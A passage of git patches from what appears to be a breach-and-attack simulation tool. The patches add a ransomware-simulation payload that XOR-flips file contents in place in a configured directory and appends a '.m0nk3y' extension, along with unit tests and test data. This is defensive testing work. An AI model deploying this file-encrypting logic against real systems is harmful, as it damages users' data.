b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -16,8 +16,8 @@ class RansomewarePayload: def __init__(self, config: dict): - LOG.info(f"Windows dir configured for encryption is " f"{config['windows_dir']}") - LOG.info(f"Linux dir configured for encryption is " f"{config['linux_dir']}") + LOG.info(f"Windows dir configured for encryption is {config['windows_dir']}") + LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) From 3edaffa9228426f04e21b427026213fddcfa68ed Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 10:47:29 -0400 Subject: [PATCH 0880/1360] agent: Add utility functions for flipping bits --- .../utils/bit_manipulators.py | 11 +++++++ .../utils/test_bit_manipulators.py | 29 +++++++++++++++++++ 2 files changed, 40 insertions(+) create mode 100644 monkey/infection_monkey/utils/bit_manipulators.py create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py diff --git a/monkey/infection_monkey/utils/bit_manipulators.py b/monkey/infection_monkey/utils/bit_manipulators.py new file mode 100644 index 00000000000..8e87e6768f7 --- /dev/null +++ b/monkey/infection_monkey/utils/bit_manipulators.py @@ -0,0 +1,11 @@ +def flip_bits(data: bytes) -> bytes: + flipped_bits = bytearray(len(data)) + + for i, byte in enumerate(data): + flipped_bits[i] = flip_bits_in_single_byte(byte) + + return bytes(flipped_bits) + + +def flip_bits_in_single_byte(byte) -> int: + return 255 ^ byte diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py new file mode 100644 index 00000000000..0b866f63433 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py @@ -0,0 +1,29 @@ +from infection_monkey.utils import bit_manipulators + + +def test_flip_bits_in_single_byte(): + for i in range(0, 256): + assert bit_manipulators.flip_bits_in_single_byte(i) == (255 - i) + + +def test_flip_bits(): + test_input = bytes(b"ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*()") + expected_output = ( + b"\xbe\xbd\xbc\xbb\xba\xb9\xb8\xb7\xb6\xb5\xb1\xb3\xb2\xb1\xb0\xaf\xae\xad" + b"\xac\xab\xaa\xa9\xa8\xa7\xa6\xa5\x9e\x9d\x9c\x9b\x9a\x99\x98\x97\x96\x95" + b"\x91\x93\x92\x91\x90\x8f\x8e\x8d\x8c\x8b\x8a\x89\x88\x87\x86\x85\xce\xcd" + b"\xcc\xcb\xca\xc9\xc8\xc7\xc6\xcf\xde\xbf\xdc\xdb\xda\xa1\xd9\xd5\xd7\xd6" + ) + + assert bit_manipulators.flip_bits(test_input) == expected_output + + +def test_flip_bits__reversible(): + test_input = bytes( + b"ABCDEFGHIJNLM\xffNOPQRSTUVWXYZabcde\xf5fghijnlmnopqr\xC3stuvwxyz1\x87234567890!@#$%^&*()" + ) + + test_output = bit_manipulators.flip_bits(test_input) + test_output = bit_manipulators.flip_bits(test_output) + + assert test_input == test_output From 1ff348d2fc9a09e7c04ee18dde10d5d49dfbd8e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 20:02:38 -0400 Subject: [PATCH 0881/1360] agent: Add in-place, bitflip encryption to RansomwarePayload --- .../ransomware/ransomware_payload.py | 21 +++- .../ransomware_targets/all_zeros.pdf | Bin 0 -> 201 bytes .../ransomware_targets/shortcut.lnk | 1 + .../ransomware_targets/subdir/hello.txt | 1 + .../ransomware_targets/test_keyboard.txt | 2 + .../ransomware/test_ransomware_payload.py | 114 ++++++++++++++++++ 6 files changed, 135 insertions(+), 4 deletions(-) create mode 100644 monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf create mode 100644 monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk create mode 100644 monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt create mode 100644 monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f58a9c3972b..6e5b9906700 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,6 +2,7 @@ from pathlib import Path from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION +from infection_monkey.utils import bit_manipulators from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -13,6 +14,8 @@ LOG = logging.getLogger(__name__) +CHUNK_SIZE = 64 + class RansomewarePayload: def __init__(self, config: dict): @@ -36,8 +39,18 @@ def _find_files(self): return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): - for file in file_list: - self._encrypt_file(file) + for filepath in file_list: + self._encrypt_file(filepath) + + def _encrypt_file(self, filepath): + with open(filepath, "rb+") as f: + data = f.read(CHUNK_SIZE) + while data: + num_bytes_read = len(data) + + encrypted_data = bit_manipulators.flip_bits(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) - def _encrypt_file(self, file): - pass + data = f.read(CHUNK_SIZE) diff --git a/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf new file mode 100644 index 0000000000000000000000000000000000000000..1716e6bfba58ee2d47221fc69f86c27aa81dbdd8 GIT binary patch literal 201 LcmZQz7$yJ!0LcIW literal 0 HcmV?d00001 diff --git a/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk new file mode 100644 index 00000000000..be9fbc9d7bd --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk @@ -0,0 +1 @@ +This is a shortcut. diff --git a/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt new file mode 100644 index 00000000000..cd0875583aa --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt @@ -0,0 +1 @@ +Hello world! diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt new file mode 100644 index 00000000000..25008a3762f --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt @@ -0,0 +1,2 @@ +ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*() +The quick brown fox jumps over the lazy dog. diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py new file mode 100644 index 00000000000..2a066fbb952 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -0,0 +1,114 @@ +import hashlib +import os +import shutil +from pathlib import Path + +import pytest +from tests.utils import is_user_admin + +from infection_monkey.ransomware.ransomware_payload import RansomewarePayload + +SUBDIR = "subdir" +ALL_ZEROS_PDF = "all_zeros.pdf" +HELLO_TXT = "hello.txt" +SHORTCUT_LNK = "shortcut.lnk" +TEST_KEYBOARD_TXT = "test_keyboard.txt" +TEST_LIB_DLL = "test_lib.dll" + +ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" +SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" +TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( + "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" +) +TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" + +ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" +TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( + "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5" +) + + +def hash_file(filepath: Path): + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for block in iter(lambda: f.read(65536), b""): + sha256.update(block) + + return sha256.hexdigest() + + +@pytest.fixture +def ransomware_target(tmp_path, data_for_tests_dir): + ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets" + shutil.copytree(ransomware_target_data, tmp_path, dirs_exist_ok=True) + + return tmp_path + + +@pytest.fixture +def ransomware_payload_config(ransomware_target): + return {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} + + +@pytest.fixture +def ransomware_payload(ransomware_payload_config): + return RansomewarePayload(ransomware_payload_config) + + +def test_file_with_excluded_extension_not_encrypted(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert hash_file(tmp_path / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 + + +def test_shortcut_not_encrypted(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert hash_file(tmp_path / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_symlink_not_encrypted(tmp_path, ransomware_payload): + SYMLINK = "symlink.pdf" + link_path = tmp_path / SYMLINK + link_path.symlink_to(tmp_path / TEST_LIB_DLL) + + ransomware_payload.run_payload() + + assert hash_file(tmp_path / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 + + +def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): + assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + ransomware_payload.run_payload() + + assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + + +def test_file_encrypted_in_place(tmp_path, ransomware_payload): + expected_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino + expected_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino + + ransomware_payload.run_payload() + + actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino + actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino + + assert expected_all_zeros_inode == actual_all_zeros_inode + assert expected_test_keyboard_inode == actual_test_keyboard_inode + + +def test_encryption_reversible(tmp_path, ransomware_payload): + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + ransomware_payload.run_payload() + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + + ransomware_payload.run_payload() + assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 From 2dd75d7d0c41526eefc4ab02f4480a7f0d2db1f0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 21:42:23 -0400 Subject: [PATCH 0882/1360] agent: Rename files encrypted by ransomware with .m0nk3y extension --- .../ransomware/ransomware_payload.py | 10 ++++- .../already_encrypted.txt.m0nk3y | 1 + .../ransomware/test_ransomware_payload.py | 43 ++++++++++++++++--- 3 files changed, 46 insertions(+), 8 deletions(-) create mode 100644 monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 6e5b9906700..ca48e0b3e19 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -15,6 +15,7 @@ LOG = logging.getLogger(__name__) CHUNK_SIZE = 64 +EXTENSION = ".m0nk3y" class RansomewarePayload: @@ -23,6 +24,8 @@ def __init__(self, config: dict): LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() + self._valid_file_extensions_for_encryption.discard(EXTENSION) def run_payload(self): file_list = self._find_files() @@ -30,7 +33,7 @@ def run_payload(self): def _find_files(self): file_filters = [ - file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION), + file_extension_filter(self._valid_file_extensions_for_encryption), is_not_shortcut_filter, is_not_symlink_filter, ] @@ -41,6 +44,7 @@ def _find_files(self): def _encrypt_files(self, file_list): for filepath in file_list: self._encrypt_file(filepath) + self._add_extension(filepath) def _encrypt_file(self, filepath): with open(filepath, "rb+") as f: @@ -54,3 +58,7 @@ def _encrypt_file(self, filepath): f.write(encrypted_data) data = f.read(CHUNK_SIZE) + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}") + filepath.rename(new_filepath) diff --git a/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y new file mode 100644 index 00000000000..70a0a237ac6 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y @@ -0,0 +1 @@ +Monkey see, Monkey do. diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 2a066fbb952..e7dbe8964a4 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -8,14 +8,20 @@ from infection_monkey.ransomware.ransomware_payload import RansomewarePayload +EXTENSION = ".m0nk3y" + SUBDIR = "subdir" ALL_ZEROS_PDF = "all_zeros.pdf" +ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" HELLO_TXT = "hello.txt" SHORTCUT_LNK = "shortcut.lnk" TEST_KEYBOARD_TXT = "test_keyboard.txt" TEST_LIB_DLL = "test_lib.dll" ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( + "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" +) HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( @@ -38,6 +44,10 @@ def hash_file(filepath: Path): return sha256.hexdigest() +def with_extension(filename): + return f"{filename}{EXTENSION}" + + @pytest.fixture def ransomware_target(tmp_path, data_for_tests_dir): ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets" @@ -87,8 +97,11 @@ def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(tmp_path / with_extension(ALL_ZEROS_PDF)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert ( + hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + ) def test_file_encrypted_in_place(tmp_path, ransomware_payload): @@ -97,18 +110,34 @@ def test_file_encrypted_in_place(tmp_path, ransomware_payload): ransomware_payload.run_payload() - actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino - actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino + actual_all_zeros_inode = os.stat(tmp_path / with_extension(ALL_ZEROS_PDF)).st_ino + actual_test_keyboard_inode = os.stat(tmp_path / with_extension(TEST_KEYBOARD_TXT)).st_ino assert expected_all_zeros_inode == actual_all_zeros_inode assert expected_test_keyboard_inode == actual_test_keyboard_inode def test_encryption_reversible(tmp_path, ransomware_payload): - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + orig_path = tmp_path / TEST_KEYBOARD_TXT + new_path = tmp_path / with_extension(TEST_KEYBOARD_TXT) + assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(new_path) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + new_path.rename(orig_path) ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + assert ( + hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + ) + + +def test_skip_already_encrypted_file(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert not (tmp_path / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() + assert ( + hash_file(tmp_path / ALREADY_ENCRYPTED_TXT_M0NK3Y) + == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 + ) From cef3bd618d49deda9c8f19f1f54a8a4441cb9bc8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 21:44:24 -0400 Subject: [PATCH 0883/1360] agent: Test that ransomware payload does not encrypt recursively --- .../infection_monkey/ransomware/test_ransomware_payload.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index e7dbe8964a4..4cc3e8c96d2 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -91,6 +91,12 @@ def test_symlink_not_encrypted(tmp_path, ransomware_payload): assert hash_file(tmp_path / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 +def test_encryption_not_recursive(tmp_path, ransomware_payload): + ransomware_payload.run_payload() + + assert hash_file(tmp_path / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 + + def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 From 447138c07971b8aae6257212ca2107ff3c503817 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 21:52:18 -0400 Subject: [PATCH 0884/1360] agent: Rename RansomewarePayload.target_dir -> _target_dir --- monkey/infection_monkey/ransomware/ransomware_payload.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index ca48e0b3e19..ce18476ede6 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -23,7 +23,7 @@ def __init__(self, config: dict): LOG.info(f"Windows dir configured for encryption is {config['windows_dir']}") LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") - self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + self._target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) @@ -38,7 +38,7 @@ def _find_files(self): is_not_symlink_filter, ] - all_files = get_all_regular_files_in_directory(self.target_dir) + all_files = get_all_regular_files_in_directory(self._target_dir) return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): From 297adcf015d4a04fcd4fa51cc5f6196558eb7c2c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 07:10:55 -0400 Subject: [PATCH 0885/1360] agent: Don't redefine EXTENSION in ransomware tests --- .../infection_monkey/ransomware/test_ransomware_payload.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 4cc3e8c96d2..9108bace5d5 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -6,9 +6,7 @@ import pytest from tests.utils import is_user_admin -from infection_monkey.ransomware.ransomware_payload import RansomewarePayload - -EXTENSION = ".m0nk3y" +from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload SUBDIR = "subdir" ALL_ZEROS_PDF = "all_zeros.pdf" From 630760601089a5960b56ed5ef44a0a28f7c09b39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 07:14:57 -0400 Subject: [PATCH 0886/1360] Remove get_files_to_encrypt from Vulture's allow list --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 304ff6f12e6..2c937ee4f35 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -171,7 +171,6 @@ MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 -get_files_to_encrypt # monkey/infection_monkey/ransomware/utils.py:82 # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 7149e112b05623d1a0d51791c7f2b4de562ba162 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 08:14:34 -0400 Subject: [PATCH 0887/1360] agent: Remove dirs_exist_ok from shutil.copytree() call The dirs_exist_ok parameter of shutil.copytree() was introduced in Python 3.8. Since the agent uses python3.7 in order to be more compatible with older systems, we can't use this parameter. --- .../ransomware/test_ransomware_payload.py | 66 ++++++++++--------- 1 file changed, 36 insertions(+), 30 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 9108bace5d5..263de0dd354 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -48,10 +48,11 @@ def with_extension(filename): @pytest.fixture def ransomware_target(tmp_path, data_for_tests_dir): - ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets" - shutil.copytree(ransomware_target_data, tmp_path, dirs_exist_ok=True) + ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" + ransomware_target = tmp_path / "ransomware_target" + shutil.copytree(ransomware_test_data, ransomware_target) - return tmp_path + return ransomware_target @pytest.fixture @@ -64,66 +65,71 @@ def ransomware_payload(ransomware_payload_config): return RansomewarePayload(ransomware_payload_config) -def test_file_with_excluded_extension_not_encrypted(tmp_path, ransomware_payload): +def test_file_with_excluded_extension_not_encrypted(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256 -def test_shortcut_not_encrypted(tmp_path, ransomware_payload): +def test_shortcut_not_encrypted(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256 @pytest.mark.skipif( os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" ) -def test_symlink_not_encrypted(tmp_path, ransomware_payload): +def test_symlink_not_encrypted(ransomware_target, ransomware_payload): SYMLINK = "symlink.pdf" - link_path = tmp_path / SYMLINK - link_path.symlink_to(tmp_path / TEST_LIB_DLL) + link_path = ransomware_target / SYMLINK + link_path.symlink_to(ransomware_target / TEST_LIB_DLL) ransomware_payload.run_payload() - assert hash_file(tmp_path / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256 -def test_encryption_not_recursive(tmp_path, ransomware_payload): +def test_encryption_not_recursive(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert hash_file(tmp_path / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / SUBDIR / HELLO_TXT) == HELLO_TXT_CLEARTEXT_SHA256 -def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload): - assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 +def test_file_with_included_extension_encrypted(ransomware_target, ransomware_payload): + assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 + assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ransomware_payload.run_payload() - assert hash_file(tmp_path / with_extension(ALL_ZEROS_PDF)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 assert ( - hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) + == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + ) + assert ( + hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 ) -def test_file_encrypted_in_place(tmp_path, ransomware_payload): - expected_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino - expected_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino +def test_file_encrypted_in_place(ransomware_target, ransomware_payload): + expected_all_zeros_inode = os.stat(ransomware_target / ALL_ZEROS_PDF).st_ino + expected_test_keyboard_inode = os.stat(ransomware_target / TEST_KEYBOARD_TXT).st_ino ransomware_payload.run_payload() - actual_all_zeros_inode = os.stat(tmp_path / with_extension(ALL_ZEROS_PDF)).st_ino - actual_test_keyboard_inode = os.stat(tmp_path / with_extension(TEST_KEYBOARD_TXT)).st_ino + actual_all_zeros_inode = os.stat(ransomware_target / with_extension(ALL_ZEROS_PDF)).st_ino + actual_test_keyboard_inode = os.stat( + ransomware_target / with_extension(TEST_KEYBOARD_TXT) + ).st_ino assert expected_all_zeros_inode == actual_all_zeros_inode assert expected_test_keyboard_inode == actual_test_keyboard_inode -def test_encryption_reversible(tmp_path, ransomware_payload): - orig_path = tmp_path / TEST_KEYBOARD_TXT - new_path = tmp_path / with_extension(TEST_KEYBOARD_TXT) +def test_encryption_reversible(ransomware_target, ransomware_payload): + orig_path = ransomware_target / TEST_KEYBOARD_TXT + new_path = ransomware_target / with_extension(TEST_KEYBOARD_TXT) assert hash_file(orig_path) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ransomware_payload.run_payload() @@ -132,16 +138,16 @@ def test_encryption_reversible(tmp_path, ransomware_payload): new_path.rename(orig_path) ransomware_payload.run_payload() assert ( - hash_file(tmp_path / with_extension(TEST_KEYBOARD_TXT)) + hash_file(ransomware_target / with_extension(TEST_KEYBOARD_TXT)) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 ) -def test_skip_already_encrypted_file(tmp_path, ransomware_payload): +def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): ransomware_payload.run_payload() - assert not (tmp_path / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() + assert not (ransomware_target / with_extension(ALREADY_ENCRYPTED_TXT_M0NK3Y)).exists() assert ( - hash_file(tmp_path / ALREADY_ENCRYPTED_TXT_M0NK3Y) + hash_file(ransomware_target / ALREADY_ENCRYPTED_TXT_M0NK3Y) == ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 ) From 2c97d046734aa958642d19430eaaa92c43d54d31 Mon Sep 17 00:00:00 2001 From: Mike Salvatore 